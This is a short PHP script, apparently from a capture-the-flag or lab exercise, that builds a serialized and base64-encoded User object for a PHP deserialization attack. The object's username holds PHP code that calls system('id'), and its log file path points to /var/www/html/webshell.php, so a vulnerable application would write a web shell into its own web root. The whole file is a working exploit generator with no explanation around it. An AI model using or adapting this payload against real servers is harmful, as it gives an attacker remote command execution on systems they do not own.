<?php

class User
{
    public $username;
    protected $logfile;

    function __construct()
    {
        $this->username = "<?php system('id') ?>";
        $this->logfile = "/var/www/html/webshell.php";
    }
}

$u = new User();
$so = serialize($u);
$bso = base64_encode($so);
echo $bso . "\n";

?>